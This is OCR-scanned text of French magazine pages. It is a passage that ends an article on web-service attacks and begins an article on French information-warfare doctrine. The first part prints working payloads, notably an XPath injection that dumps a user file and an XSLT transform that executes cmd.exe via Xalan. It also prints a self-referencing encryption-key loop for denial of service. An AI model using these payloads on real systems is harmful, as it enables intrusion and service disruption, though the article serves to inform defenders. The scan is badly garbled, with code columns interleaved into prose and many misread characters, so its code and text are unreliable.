tielle. Et, puisqu’il est maintenant possible de lancer plusieurs
requétes d’un coup, nous allons profiter de 'authentification
pour récupérer toute la base des utilisateurs.

Injectons pour ce faire la variable §1ogin suivante :
h2dmes2'] | /* | /fuser[ 'a'='h. U'expression de notre exemple pré-
cédent devient :

Jtusername="h2dnes2'] | /* | /user[ "a'='b" and
pass='ilovelarochelle']/account/text()

L'expression (/*) identifie tous les nceuds sous la racine. Par
conséquent, le deuxiéme prédicat va dumper tout le fichier,
ce qui ne mangue pas forcément d’intérét si les résultats de la
requéte sont retournés a l'utilisateur.

2.1.3 Blind xPath Injection

Mythe ou réalité ? Une seule personne a parlé de ce type
d'injection, mais, en méme temps, c'est quand méme Amit Klein.
En plus, il ne I'a pas fait juste avant une conférence et ce n'était
pas dans le genre « mon dieu, c'est la fin du monde, venez vite a
la conférence pour savoir comment vous allez mourir ». Du coup,
on est donc tenté de le croire. Mais, entrons dans le vif du sujet.

Idéalement, on aimerait bien étre capable de récupérer 'en-
semble d'un document XML ou, au moins, sa structure. Dans
son papier [GOOGLEISYOURFRIEND], Amit Klein décrit
une approche qui se synthétise de la maniére suivante :

IZ' On trouve une injection xPath basique (comme celle
utilisée dans notre exemple plus haut).

IEI On remplace la condition toujours vraie ('1'="1") par une
expression E dont le résultat est binaire.

El E est une fonction qui évalue bit  bit soit :
— le nombre de nceuds de chaque type (élément, texte,
pi, ete.) ;

~# la valeur d'un élément.

La seule chose, c'est qu'il fait usage d'une fonction d'agrégat
— countl) — pour identifier combien de nceuds de chaque type
existent. Or, une fonetion d’agrégat dans une clause condition-
nelle n'est pas toujours appréciée. Enfin, le document précise
qu'un Proof Of Concept a été congu et permet de récupérer un
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« petit » document XML. Mouais, dautant plus que, depuis, plus
de news. Mais, en tout cas, c'est joli, on ne peut le nier.

2.2 SOAP qui peut!

HTTPHEML -

SOAP est communément décrite par I'équation S04
ca promet !

2.2.1 Dénis de service

Les dénis de service contre SOAP n'ont rien de particu-
lier dans le sens o1 les attaques réseau, transport (des Web
Services donc HTTP) et XML sont, bien entendu, efficaces. Du
SYN Flood aux messages SOAP (donc documents XML) avec
une profondeur de 10000 nceuds et en passant par un flood de
requétes, tout fonetionne. Nous pouvons toutefois rajouter une

attaque spécifique SOAP. Deux en fait.

La premiére consiste a jouer avec l'en-téte SOAP. En fonc-
tion des versions supportées par les serveurs et leurs implé-
mentations, certaines anomalies peuvent faire « planter » le
service. C'est le cas du champ SOAP-Action, qui peut faire
trés mal quand il contient une valeur toute pourrie, pas de
valeur du tout voire quand il n'est pas positionné. Karim Ayad
en donne un exemple amusant dans l'article : « Pentest d'un

Web Service ».

La seconde est I'exploitation abusive des attachements SOAP.
La ruse est que SOAP est capable de transporter des éléments
externes a sa structure XML, ce, afin de fournir un moyven de
transport flexible et adaptable & tout type de contenu. Le méca-
nisme utilisé est simple, le message SOAP est en fait un message
MIME multipart, dont la premiére partie est de type text/xnl et
contient le message SOAP, les autres parties contenant les atta-
chements, Bien ! Il ne reste plus qu'a attacher un fichier de 100 Mo

pour voir...

2.2.2 Attaques par rejeu :

Il est écrit noir sur blanc que SOAP est un protocole
d’échange de messages, ce qui induit gqu'aucun mécanisme de
suivi et de controle de session n'est mis en ceuvre. Les messages
sont traités au fil de 'eau et aucune relation logique n'est établie
entre eux. Dans le méme ordre d'idée, aucun mécanisme n'est

mis en ceuvre pour vérifier I'unicité des messages transmis.

Ainsi, tout message peut étre rejoué et c'est a 'application
de mettre en ceuvre les mécanismes nécessaires pour éviter
qu'un paquet intercepté soit rejoué (par exemple a des fins d'au-
thentification). Concernant les floods, qui mettent en général
en ceuvre des paquets avec des données identiques, bah, rien !
C'est gratuit !

Misc N° 43 - Mai/Juin 2008 35




DOSSIER —

2.2.3 Exploitation des SOAP Fault

Quand une requéte SOAP provoque une erreur, le serveur
émet un message contenant un élément <soap:fault> Cet élément
fournit un code d’erreur (I'élément faultcode) et une description
d'erreur (élément faultstring). Ce dernier élément est parfois
un peut trop bavard et peut fournir des informations passion-
nantes, comme dans le cas de cette injection xPath, certes ratée,
mais pas perdue pour tout le monde :

<xml version="1.0" encoding="utf-8"?>

<soap:Envelope
xmins:soap="http://schemas. xmisoap.org/soap/envelope/”
amins:xsi="http:/fwnn.v3.0rg/2081/XMLSchems-instance”
xmins:xsd="http:/fwnn.W3,0rq/ 2081/ XNLSchema™>
<spap:Body>

<soap:Fault>

<faultcode>soap: Server</faulicode>

Attaques sur les Web Services

Ce qui va nous aider & créer des expressions un peu plus
évoluées afin de dumper carrément tout le fichier...

Bien entendu, aucune norme, ni directive n'a été définie
pour le contenu de cet élément, ce qui nous donne une superbe
empreinte pour identifier quel type de serveur nous avons en
face de nous.

<faultstring>Server was unable to process request. --> 'fUsers/User[attribute::Login=""" and attribute::Password="default'1/*" has an

invalid token.</faultsiring>

<detail />

</soap:Fault>
</soap:Body>

</spapiEnvelope>

3. Dans le dur

Il nous reste WS-Security. Eh oui, ¢a peut paraitre para-
doxal, mais WS-Security... comment dire... enfin voila quoi !

3.1 XSLT foutu

Les composants de WS-Security font un usage parfois dou-
teux de la directive <Iransforn>. Bradley W. Hill a su exploiter cela
avec brio. En effet, cette directive (qui permet de « traiter » des
données XML avant leur passage au chiffrement ou a la signature)
autorise tout type de transformation, telle que la mise sous forme
canonique ou le filtrage de nceuds via une expression xPath.

Une transformation explicitement citée dans la norme,
bien qu'optionnelle, est la transformation XSLT. L'objectif est
de fournir un mécanisme puissant de formatage d'un document
XML externe avant signature. Bon, tout ¢a part d'un bon fond,
mais c'est sans compter sur le fait que la plupart des implémen-
tations de XSLT implémentent des fonctions systeme, ce qui se
traduit dans les faits par la capacité de lancer des commandes
via une transformation XSLT... youkaidi, youkada.

La conséquence est claire comme le démontre ce bout de
code qui va gentiment faire exécuter cid.2xe 4 une implémenta-
tion WSS sur Xalan, un des moteurs XSLT Java les plus utilisés.
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f1 <Transforms>
02 <Transform Algorithm="nttp://www.w3.org/2008/89/
xmldsig#enveloped-signature"/>
83  <Transform Algorithm="http://www.w3.0rg/TR/1999/REC-
xs1t-19991116">
B4 <xsl:stylesheet version="1.0" xmins:xsl="htip://wnw.
w3.0rg/1999/¥SL/Transforn"

5 xmins:rt=http://xmi.apache,org/xalan/java/java.lang.
Runtime

13 amins:ob="http://xm].apache.ora/xalan/javal java.lang.
Object”

a7 exclude-result-prefixes= "rt,ob">

8 <xsl:template match="/">

89 <xshivariable name="runtine(bject”
select="ri:getRuntime()"/>

18 <xsl:variadble name="command"

11 select="rt:exec(Sruntimedbject, c:\Windows\systemdz\

: cnd.exe’)/>

12 <xslivariable name="commandAsString” select="ob:toString
($command)"/>

13 <xslivalue-of select="ScommandAsString"/>

14 </xsl:template>
15 </xsl:styleshest>
16 </Transforn>
17 </Transforns>
La transformation XSLT est définie aux lignes 03 4 16 et exécute
la commande précisée a la ligne 11. L'intérét, c’est que cette faille

impacte aussi bien XML Signature que XML Encryption, cette der-

niére faisant également usage des blocs <eyinfo> et <Retriey
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3.2 Boucle de clefs 14 <EncryptionMethod Algorithm="http://wiw.w3.0rg/2081/84/
xmlenc#aesi28-che!/>

de chiffrement 15 <ds:KeyInfo xmins:ds="http://www.w3.0ra/2000/09/xmldsigh'>

yptedkeyType> est une extension du ty pc 16 <ds:RetrievalMethod URI="#Keyl"

Type="nttp:/fwww.w3.orq/2001 /B4 /xmlenc#Encryptedey”/>
: 17 <ds:KeyName>I Said No Way</ds:KeyName>

qul permct de référencer la clef de chiffrement via I'élément 18 </ds:KeyInfo>

1k

ErievalM i>, Nous pouvons done eréer une boucle avee deux 18 <ﬁ1DhET‘i}atP(C!pi‘lE!‘\'ﬂ]UPX)‘EGbC(J{CTphEF'l'&'|UE><fC1'DhEF:‘a’[ﬂ>

: <Referencelisi>
clefs (ou p]us} se référencant mutuellement. La preuve : %?

> et, par conséquent, contient un bloe </

<DataReference URI="#Keyl'/>
; Ayl St 22 </Referencelist>
61 <EncrpredKey Td="Keyl" xmins="http://www.wi.org/2001/04/ 23 <CarriedkeyNane>No Nay Dut</CarriedkeyNane>
Sicner - 24 </Encryptedkey>
§2  <EncryptionMethod Algorithm="hitp://www.u3.org/2001/04/

xmlenc#aesizB-cbe'/> st N - Ici, la clef Keyl est chiffrée avec Key?, chiffrée avec keyl... ete.
<5 sde="https TgH'>
gi didieiyig‘?em;;tisod U%p:r#g;;w Org/200/88/ xaldste En fait, le plus drole, c'est que le risque d'une telle attaque est
Type="http://wiw.u3.0rg/2081/84/xmlenckEncryptedkey"/> mentionné dans la norme... Que du bonheur je vous dis.

g5 <ds:KeyKame>No Way Out</ds:KeyName>

86 </ds:KeyInfo>
@7  <CipherData><CipherValue>DEADBEEF</CipherValue></CipherDate> 3.3 Piéges a références
#8 <Referencelist>

09 <DataReference URI="#Key2'/> A votre avis, il se passe quoi quand un élément sur lequel
1§ </Referencelist>

i <CarriedkeyName>! Said No Nay</CirriedKeyNane> pointe une référence externe fait 1 Go ? Ou si cette référence

12 </Encryptedkey> pointe sur une URL qui renvoie un code d’erreur 307 Redire
13 <EncryptedKey Id='Key2' xmlns="http://www.w3.org/2081/84/ qui redirige sur une URL renvoyant 307 fedirect surla premiére,
xmlenci'>

ete. ?

Conclusion —— -z
Les Web Services, c’'est sympa, hyper a la mode, i ™ Fm‘“ .
- ks =4

hyper puissant, hyper flexible et hyper troué. En plus,
personne n'y comprend rien ou du moins pas assez, et ; ' . .

il n'y a qu'a lire l'article sur WS Security (levez le doigt WHO W1 1 } IESt YUUF secur ty
ceux qui l'ont lu en entier) pour comprendre pourquoi. -| f YUU DON T 7 f [

Et comme les problématiques de sécurité sont inti-
mement liées 4 des technologies souvent simplifiées
a l'extréme (parce qu'on ne veut pas se fatiguer, ni se
remettre en question), la sanction est immédiate :
une boucherie,

A part ca, on peut se rassurer en se disant que ce
n'est pas si grave, parce que les projets de déploiement
. ; FRHACK anized by doy={F
des Web Services restent peu nombreux et limités a w p.-.,..-_..cnjss.ﬂfﬂ;‘;”:nf v
WEp: e e con

quelques secteurs d'activité : banque, énergie... W

(@ Référence

[GOOGLEISYOURFRIEND]
http://www.google.fr/search?hl=fr&q=blind+
xpath+injection+&meta=

www.FRHACK.org
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VERS UNE
VERSION
FRANCAISE DE
LA GUERRE DE

L'INFORMATION ?
(PARTIE 2)

¢ lés guerre de l'information / temple des opérations d’information /
MOLS-CIeS . . itrise de I'information / sécurité / défense nationale

rise semble-t-il dans la tourmente des vagues de cyberattaques qui ont jalonné les deux
dernieres années, la France a placé la sécurité des systemes d’information au rang

denjeu de défense et de sécurité nationale. Les menaces telles quelles sont identifiées
et percues (voir précédent numéro de Misc) justifient une stratégie fondée sur la maitrise de
linformation, des systemes, et la mise en ceuvre de moyens de lutte informatique (81) ; cette
stratégie sécuritaire contribue a préciser les contours d’une conception francaise de la guerre
de linformation, dont les bases sont déja posées dans la doctrine militaire qui préfere parler de

« temple des opérations d’information » (§2).

1. Les solutions face a l1a menace

1.1 La maitrise de I'information

1.1.1 Uinformation, pouvoir pour
celui qui 1a maitrise

« Nos frontiéres sont défendues par Iélectricité. Il régne
autour de la fédération une zone de foudre. Un petit homme a
lunettes est assis je ne sais ou, devant un clavier. C'est notre
unique soldat. Il n'a qu'a mettre le doigt sur une touche pour
pulvériser une armée de cing cent mille hommes » [42]. Celui
qui a le pouvoir sur la technologie peut d'un doigt d'un seul, de
son clavier ou son écran, maitriser l'adversaire jusqu'a la des-
truetion. Qu'un seul individu ou groupe d'individus puisse battre
une « armée » ou un « Ltat », le déstabiliser ou lanéantir, sans
le voir, par surprise totale, en s’affranchissant des distances,
par le seul pouvoir de la technologie, fait partie des seénarios
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de menaces qui pésent sur les Etats. Sans pour autant relever de
ce mythe du « Pearl Harbor électronique », les craintes expri-
mées d'attagues majeures contre les systemes sensibles ne sont
plus du domaine de la cybercriminalité ordinaire, mais bien des
actes d'agression.

1.1.2 'information médiatique,
bénéfique si elle est maitrisée

La place accordée a la notion « d'information » dans le Livre
blanc sur la défense de 1994 est significative de la pensée fran-
caise de 'époque. Linformation est certes :

~#l Placée au centre de 'évolution du monde, au ceeur de la
globalisation des échanges, c'est-a-dire per¢ue comme un
outil économique.

—# Un instrument au service des processus de décision.




=@ Un instrument au service de valeurs républicaines :
« La place de I'information a des effets bénéfiques pour la
transparence dans la prise et lapplication des décisions. Elle
est un facteur essentiel dans la lutte pour les droits de Thomme,
pour prévenir les conflits et désamorcer les tensions » [43].

Mais, cest essentiellement dans sa dimension « média »
(nous dirions plus justement « les informations » — ou « news »
en anglais) qui est « au cceur de toute politique de défense », que
linformation est abordée et préoccupe. Linformation omnipré-
sente qui influence l'opinion « est désormais au cceur du fone-
tionnement de nos démocraties » [44]. Diffusée par les médias,
elle peut avoir un impact négatif surla société. Le risque de désin-
formation est grand. Dés lors « le juste milieu parait difficile d
trouver entre liberté totale et restriction de I'information » [45].

1.1.3 L'information économique
comme pouvoir, si elle est
maitrisée

Le rapport Martre (1994) intitulé Intelligence économique
et stratégie des entreprises affirme dans son avant-propos que
« la gestion stratégique de Uinformation économique est deve-
nue lun des moteurs essentiels de la performance globale des
entreprises et des nations ». Cette information « économique »
va occuper l'essentiel des débats désormais (intelligence écono-
mique, guerre économique). Lon retrouvera les mémes préoc-
cupations pour la maitrise de I'information économique dans
le rapport Carayon « Intelligence économique, compétitivité et
cohésion sociale » publié en juin 2003 [46]. Lintelligence éco-
nomique milite pour une défense du tissu économique & travers
une meilleure maitrise de I'information.

1.1.4 Définir la « maitrise de

Pinformation »

Le général Loup Francart a proposé en janvier 2000 un
« Guide d'exploration du domaine trés vaste de la maitrise de I'in-
formation » La maitrise de I'information est « un outil de connais-
sance, de gouvernance, d'influence et d'action, dont il convient
dorienter les directions d'effort et de planifier les activités ». « Au
niveau stratégique, on peut parler dune véritable guerre de l'in-
Jormation qui conditionne et est au centre des autres aspects de
la conduite des conflits : guerre de la maitrise des espaces, guerre
des capacités, guerre pour la décision ». La maitrise est également
définie comme « la capacité... daccéder en temps utile 4 I'informa-
tion et en faire un usage opérationnel efficace » [47].

La maitrise de I'information serait la recette miracle pour
la puissance : elle garantirait prise d'avantage, supériorité,
transparence, anticipation, vitesse, action, connaissance. Mais
la théorie est écrite comme si nous étions seuls dans le jeu.
Aujourd’hui, d’autres variables doivent étre considérées : les
actions subies, I'inefficacité relative du paradigme de forteresse,
les possibilités de contournement, sont autant d'obstacles a la
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prise de maitrise. N'ayant pas I'initiative des agressions, un Etat
de droit ne peut pas avoir I'avantage. 1l ne peut agir qu'en réac-
tion. Ne faudrait-il pas alors plut6t développer une théorie de
la maitrise de la réaction ?

La « maitrise » dont parle la France, clest celle qui permet de
fournir I'information utile aux décideurs, de « disposer d'informa-
tions siires au bon endroit et au bon moment » [48]. C'est aussi
celle qui permet de se prémunir du risque de ne pas voir, de ne
pas connaitre, de ne pas disposer de l'information pertinente, de
prendre un leurre pour réalité, de construire de fausses représen-
tations a partir dune information exacte... Cette forme de mai-
trise [49] n'est pas du domaine du réve de domination absolue de
Tespace informationnel que les Etats-Unis appellent « info domi-
nance » : la suprématie sur l'espace informationnel rend le monde
transparent, et garantit la maitrise du monde.

La maitrise de I'information francaise reléve tout autant de la
dimension « hard power » de la guerre de l'information (lutte infor-
matique défensive, offensive, guerre électronique, attaques physiques
contre les systémes dinformation...) que de celle dite « soft power »
(guerre des mots, des images, discours politique, diplomatique,
controle des médias, image de la France véhiculée a Iinternational...).

1.2 LID/LIO

Le Livre blane sur la défense et la sécurité nationale publié
en juin 2008 a introduit deux concepts majeurs : la lutte infor-
matique défensive (dite « LID ») et la lutte informatique offen-
sive (dite « LIO »). Certains Etats représentent une menace forte
puisqu'ils se sont dotés de stratégies de lutte d'information (en
clair se donnent les moyens d'attaque), de guerre de l'informa-
tion agressive. Des attaques dissimulées ou ouvertes sont du
domaine du possible. Pour faire face & ces menaces, la France
change de stratégie : elle passe d'une défense passive a une
défense active en profondeur, qui touche aussi bien le secteur
civil que le domaine militaire.

Le rapport Romani utilise le terme « cyberdéfense »,
défini comme l'ensemble des moyens de protection contre les
« atteintes portées aux systémes d'information susceptibles de
meltre en cause la sécurité et la défense du pays » [50].

1.2.1 La lutte informatique défensive
(LID)

La défense passive consiste a mettre en place des systémes
automatiques de protection (pare-feu, antivirus). Il s’agit 1a d'un

niveau de protection nécessaire, mais insuffisant, car contour-
nable. La défense active consiste & mettre en place des systémes
de surveillance, a s'adapter 4 'évolution des menaces. Pour cette
mission, le Livre blanc de 2008 prévoit 1a eréation d'un centre
de détection (pour surveiller les réseaux sensibles). Le rapport
Romani rappelle que ce niveau de protection nest toutefois pas
non plus une garantie suffisante : malgré ce niveau de défense,
le Pentagone est soumis a des attaques permanentes.
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.2.2 La lutte informatique offensive

(LIO)

A la couche défensive, nécessaire mais pas suffisante, le
Livre bBlanc de 2008 propose done d’en ajouter une nouvelle,

la « LIO », qui repose sur la conviction que désormais « dans
le domaine informatique plus que dans tout autre milieu, il
faudra, pour se défendre, savoir attaquer » [51]. Cette couche
permettra sans doute de contredire l'affirmation selon laquelle
« le défenseur doit tout imaginer sans pouvoir riposter ... car
il n’y a pas de légitime défense en SSI [52] tandis que latta-
quant s'‘autorise tout ce qui est possible » [53]. Le développe-
ment de ces capacités de LIO n'est pas une invention du Livre
blane de 2008, puisqu'elles étaient déja inscrites dans la Loi
de Programmation Militaire 2003-2008 [54] (§2.3.2) : « Le
modele des armées 2015 [...] inclut aussi la prise en compte de
la lutte informatique, défensive et offensive ».

La maitrise des capacités de LIO doit assurer la supériorité
dans les engagements. Les objectifs sont ambitieux : identifier
les adversaires (et donc avoir les moyens de l'identification),
connaitre les modes opératoires des adversaires, se doter de
capacités de neutralisation de l'adversaire (c'est-a-dire étre en
mesure de paralyser les centres d’'opération adverses), appli-
quer des mesures de rétorsion, développer des outils spécia-
lisés (armes numériques de réseaux notamment), et formuler
une doctrine d'emploi des capacités de LIO. La doctrine devra
notamment réfléchir au cadre juridique d'utilisation de ces
armes nouvelles (quelles cibles sont autorisées, quelle puissance
de destruction peut étre déployée), aux limites d’actions de cette
nouvelle capacité d'intervention extérieure (services de rensei-
gnement, militaires), et a la question de la proportionnalité des
mesures de rétorsion envisageables.

1.2.3 Le développement des
capacités

Le groupe « Recherche et développement », au sein de la sous-
commission « prospective et technologie » de la Commission
Interministérielle de la Sécurité des Systémes d’Information
(CISSI), elle-méme placée sous le SGDN, a publié le 10 avril
2008 la mise 4 jour d'un premier rapport paru en 2006, intitulé
Orientation des travaux de recherche et de développement en
matiére de séeurité des systémes d'information [ 551. De ce rap-
port, nous retiendrons les enjeux qui paraissent essentiels aux
autorités en matiére de sécurité des systémes d'information :

~l L'imputabilité des accés (qui est agresseur ?, comment
remonter jusqu’a lui ?).

~# Le nomadisme.

—@ Lévolution du paradigme de sécurité de celui de la forte-
resse vers celui de I'étre vivant, qui veut abolir la notion
de frontiére.
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—# La maitrise de toutes les briques qui constituent les systemes
d'information.

—# La possibilité d'utilisation duale des techniques de sécurité
i des fins autres que strictement défensives : « savoir détec-
ter de tels procédés de stéganographie ou inversement les
rendre difficilement détectables sont donc les deux aspects
complémentaires du glaive et de la cuirasse » [561].

Mais, ne faut-il pas savoir comment frapper pour mieux
se défendre, comment contourner pour mieux renforcer ?

« Lévaluation des méthodes pour leurrer ces dispositifs...
constitue un axe deffort majeur... ».

1.2.4 Les interrogations sur les
capacités LIO/LID

Ce projet de capacités offensives n'est pas sans poser des

problémes importants en termes de faisabilité :

—@ Utiliser ces capacités dans le cadre de la légitime défense
ou pour appliquer des mesures de rétorsion, suivant un acte
d’agression, implique de connaitre précisément l'agresseur.
Aujourd hui, l'état de la technique ne le permet pas. Sur un
champ de bataille 'adversaire estidentifié. Quand une cybe-
rattaque vise une infrastructure vitale, ses auteurs oublient
généralement de la signer, et les hypothéses ne suffisent pas
4 constituer une preuve.

—# Le temps de l'enquéte peut étre long. La légitime défense ne
peut s’exercer que dans un délai court. La contrainte tempo-
relle dans le scénario dune agression est la méme que dans
une enquéte relative & un acte de cybercriminalité.

—8 Le respect d'un principe de proportionnalité de la rétorsion
ou de la riposte implique d’avoir une vision exacte de 'am-
pleur des dommages subis dans son propre camp par une
attaque. Quelle serait la métrique de ces pertes ?

—# Quels seront les impacts de I'utilisation des armes de
réseaux ? Comment maitriser les effets collatéraux par
exemple ?

—# La LIO suppose en premier lieu d’avoir connaissance de
T'attaque. Les capacités de détection n'assurent pas de tout
voir, Les attaques peuvent étre trés discrétes. Des machines
sensibles auraient été piratées pendant des années avant
que V'on ne s'en apergoive [57]. Une coordination LID/LIO
efficiente est donc essentielle.

- Si « [usage de la violence dans la guerre n'a jamais d'autre
but que celui de produire des effets psychologiques » [58],
assertion faisant généralement référence & la violence phy-
sique, quel niveau de violence s'autorisera-t-on dans des
opérations de type lutte informatique, qui leur procureraient
la force nécessaire pour convaincre, terroriser ou dissuader
Tadversaire ?



2. La dimension militaire de la guerre de I'information :
les opérations d’information

2.1 Le temple des opérations

d’information

Si dans le vocabulaire militaire francais 'expression
« guerre de I'information » n'apparait pas, c'est au profit de celle
d'« opérations d’information » (OI), sur le modéle américain
et celui de la terminologie adoptée par 'OTAN. Les OI, fonction
interarmeées, sont des opérations d’influence et ne relévent
pas dans cette approche du domaine dela coercition, qui s'exerce
strictement dans le champ physique. La doctrine francaise d’OI
repose fortement sur la dimension psychologique, sur le pouvoir
d’influence, I'objectif étant toujours de limiter autant que pos-
sible le recours 4 la foree, limiter la violence par une résistance
affaiblie, raccourcir la durée des conflits, limiter les pertes.

Les réflexions doctrinales sur les Opérations d'Information
se sont engagées a la fin des années 1990. Elles consistent 4
transmettre un message cohérent, avoir une meilleure réac-
tivité, c'est-a-dire doter la France d’une stratégie d'influence
performante. On est tout autant sur le champ du « soft power »,
et peut-étre davantage méme, que dans celui du « hard power »,

Le 11 mars 2005 a été publié le « Concept interarmées des
OI » (PIA 03.152) et le 29 mai 2006 une doctrine interarmées
des OT (PIA 03.252). Les opérations d'information sont définies
dans le texte du 11 mars 2005 comme un « ensemble dactions
menées par les forces armées, défini et coordonné au plus haut
niveau, visant a utiliser ou a défendre Uinformation, les sys-
témes d'information, et les processus décisionnels, en appui
permanent d'une stratégie d'influence, et contribuant en opé-
rations a latteinte de 'EFR [59], dans le respect des valeurs
défendiies ». Les OI sont donc :

~# Des opérations militaires.

~# Des actions qui ont une finalité : perturber la volonté d’agir
de 'adversaire. Ce but est poursuivi en visant deux cibles :

>> l'information que recueille l'adversaire, pour altérer ses

connaissances ;

>> les capteurs de I'adversaire, pour altérer, modifier, per-
turber ses capacités d'acquisition de I'information.

—# Des opérations s’inscrivant dans un continuum, en coordi-
nation avec I'usage de la force et des actions civilo-militaires
(CIMIC [60] et COMOPS [61]).

—# « des stratégies indirectes qui offrent une autre voie ou un
choix complémentaire aux modes d’action fondés sur la
destruction » [62].

Les composantes des opérations d'information, généra-
lement représentées sous la forme de colonnes soutenant un
temple, sont :

~# Les Opérations Militaires d’Influence (OMI),
équivalent des opérations psychologiques (PSYOPS), sont
la fonction-clef des OI.

>> Elles s'inserivent dans un continuum intervention militaire
— stabilisation — reconstruction et leur pertinence est d'au-
tant plus forte que les opérations cinétiques diminuent.

>> Elles doivent étre menées en prévention des conflits,
pendant et aprés les conflits.

>> Elles s’exercent sur des info-cibles, uniquement
adverses [63], qui sont des individus ou groupes d'indivi-
dus dont on veut modifier les comportements, attitudes,
perceptions, influencer la volonté. Lopinion publique
nationale n'est pasla cible des OMI, mais de la COMOPS.

>> Elles reposent sur des méthodes de communication.

>> Elles ne sont efficaces que si elles sont en mesure de sur-
passer les opérations menées par 'adversaire, en mesure
de vainere les opérations de contre-psyops, si le conflit a
une forte dimension idéologique, si les info-cibles fonc-
tionnent comme de bons récepteurs et n'opposent pas de
résistance par des réactions imprévisibles qui pourrait
éventuellement retourner la manceuvre psychologique
contre son instigateur.

—# La déception militaire.

~#l La lutte informatique, définie dans le Glossaire
interarmées de 2004 « dans le domaine informatique, actions
entreprises dans le but de paralyser les systémes d'une adver-
saire, perturber les flux de transmission de données et défor-
mer celles-ci ou en prendre connaissance ». Ce domaine était
encore il y a peu considéré comme « émergent » [64], et défini
comme « une guérilla de la guerre de l'information » [65].
Cette tiache, au sein des armées, est « exclusivement défen-
sive » [66]. La maitrise de la défense devrait également per-
mettre de contrer ces attaques, mais I'utilisation agressive du
cyberespace apparait délicate en raison des possibles effets col-
latéraux, non ou tres difficilement maitrisables, mais aussi des
problémes juridiques. Enfin, apparait en filigranes une nouvelle
vulnérabilité : celle des satellites de communication. A terme,
espace deviendra fort probablement un espace de lutte. I
s'agit de s'y préparer. Au ministére de la Défense, le pilotage des
systemes d'information est assuré parla DGSIC [67] et la lutte
informatique défensive sappuie sur son action, reposant sur les
fonctions OPVAR (organisation de veille, alerte, et réponse).
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—# Les activités de protection de 'information (OPSEC/
INFOSEC) : sécurité des opérations (protection de la force),
sécurité des informations. Il faut assurer la bonne circula-
tion de I'information au sein des forces armées, offrir une
protection efficace contre les possibilités d’attaques contre
les systémes d’information, se prémunir contre les risques
liés a la vulnérabilité des systémes et des hommes

-@ Attitude et comportement des forces. Par leur com-
portement, les militaires véhiculent I'image de la France et
sa détermination.

~# La guerre électronique.

A ces 6 piliers, qui constituent les « domaines dédiés » des
opérations d’'information, s’ajoutent les CIMIC et COMOPS,
constituant les « domaines associés » et la destruction, consti-
tuant « I'usage de la force ».

Ces g piliers soutiennent ainsi le fameux « temple » des opé-
rations d'information [68].

Il n'y a pas de réelle hiérarchie des taches entre ces piliers,
qui constituent les fondations des OI Toutefois, la dimension
psychologique est majeure. Les opérations de renseignement
et la stratégie d'influence appuient quant a elles les 6 piliers
des OI, mais aussi le recours a la force et les opérations de type
CIMIC et COMOPS.

2.2 La Numérisation de

PEspace de Bataille (NEB)

La numérisation de l'espace de bataille (NEB) s'inscrit dans

le processus de mutation des armées francaises. La numérisa-
tion [69] est un facteur d'efficacité : elle permet d'accélérer le
tempo des opérations et daméliorer le cycle décisionnel [70],
4 condition que l'information soit maitrisée (information de
qualité). La délivrance de cette information de qualité a tous
les niveaux de responsabilité et en tous lieux repose sur l'organi-
sation d'un « systéme de systémes », architecture complexe qui
doit de plus étre interopérable avec les systémes des alliés. Cette
étape est en cours de réalisation, et c'est encore au futur que l'on
s'exprime quand il s'agit d'évoquer I'impact de cette nouvelle
architecture de I'information sur les doetrines et 'organisation
des états-majors [71].

2.3 I’info-valorisation

La maitrise de l'information et son partage a tous les niveaux
de maniére simultanée a donné naissance au concept d'opéra-
tions info-valorisées, équivalent du concept américain de NCW
(Network Centric Warfare — Opérations réseaux-centrées) [72].
Une maitrise de I'information pour agir plus vite, mieux, plus
efficacement, avee moins de pertes, moins d’hommes, moins
de matériels engagés. Le modéle de manceuvre info-valorisée
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est ainsi présenté comme la solution idéale, permettant de tout
intégrer, tout gérer, tout voir et connaitre, apporter une connais-
sance qualifiée de « forme d'intelligence » qui « recouvre aussi
Fappréciation du strict niveau de létalité nécessaire » [73].

Linfo-valorisation a été définie comme I'un des trois concepts
fondamentaux structurant les FTF — Forces Terrestres Futures
(info-valorisation, polyvalence opérationnelle, synergie des
effets) : « Linfo-valorisation vise une exploitation optimale des
ressources informationnelles que permettent les nouvelles tech-
nologies de l'information et de la communication (NTIC) » [ 74].

2.4 Quelques opinions
militaires

Si les évolutions, faute de révolution, peuvent étre inscrites
dans des textes officiels et des doctrines, elles se font avant tout
avec les hommes, leurs convictions et leur approbation. Or, si le
processus de numérisation est en cours, prudence, réticence et
résistances sont souvent de mise face a la course technologique et
4 la tentation de succomber a I'influence de la doctrine américaine.

Ainsi, sur le concept de NCW, le général Vincent Desportes
écrit-il : « Est née dans le réve de la RMA [...] cette idée que la
guerre, la vraie, devait étre désormais « réseau-centrée » [...] ces
opérations en réseau devaient permettre de concrétiser le mythe
de la guerre rapide [...] Cette évolution techniciste beaucoup plus
fondée sur lémerveillement des capacités nouvelles que sur [ob-
servation de la conflictualité, allait vite montrer ses limites [...]
les Britanniques [...] ont abandonné l'idée méme de NCW pour
remettre la technologie a sa place et parler de NEC, pour Network
Enabled Capacities [...] Aprés une premiere phase démerveille-
ment devant la NCW, la doctrine francaise a heureusement suivi
la vote anglaise et adopté pour sa part le néologisme bien laid
mais beaucoup plus réaliste dinfovalorisation’ [75].

§’il y a réticence ou forte prudence au sein de l'armée, cest
en partie parce que :

—# Les chefs se méfient des chiméres [76] : « ﬁ place prépon-
dérante des systémes d'information et de communications
et lusage de l'information dématérialisée ne doivent pas
nous entrainer dans le piége du virtuel, totalement décon-
necté de la réalité » [77].

—8 Les chefs se méfient des nouvelles technologies : « Pendant
un certain temps, l'innovation reste un corps étranger qui
perturbe un équilibre existant » [78]. Il ne faut pas céder a
« l'illusion technologique », a la « fascination du nouveau
gadget et la tentation pour les technophiles de lexploiter au
maximum de ses possibilités » [79].

—@ Parce que les chefs ne percoivent pas toujours I'intérét de la
numérisation, de la virtualisation, de I'informatisation et
des théories qui ont été développées sur leur base :



>> En quoi les NTIC [80] vont-elles éviter aux chefs de
reproduire les erreurs qu’ils reproduisent systémati-
quement depuis des siécles, et si ce n'est de les éviter, au
moins d'en commettre moins ?

>> Comment les NTIC vont-elles leur permettre de com-
prendre et d'agir [81] (pas I'un sans l'autre surtout) ?

>> Comment pourra-t-on échapper 4 la fragilisation née de
la dépendance des acteurs aux systémes d’information ?
Les attaques contre I'Estonie sont souvent prises pour
exemple de la valnérabilité et de la dépendance [82]. Les
systémes sont soumis au risque d’attaques : exemple des
cyberattaques contre les sites de 'OTAN et les machines
du département de la Défense américain préparant 'of-
fensive au Kosovo, en mai 1999 [83].

>> Une armée doit étre renforcée et non affaiblie par I'in-
troduction de maillons faibles.

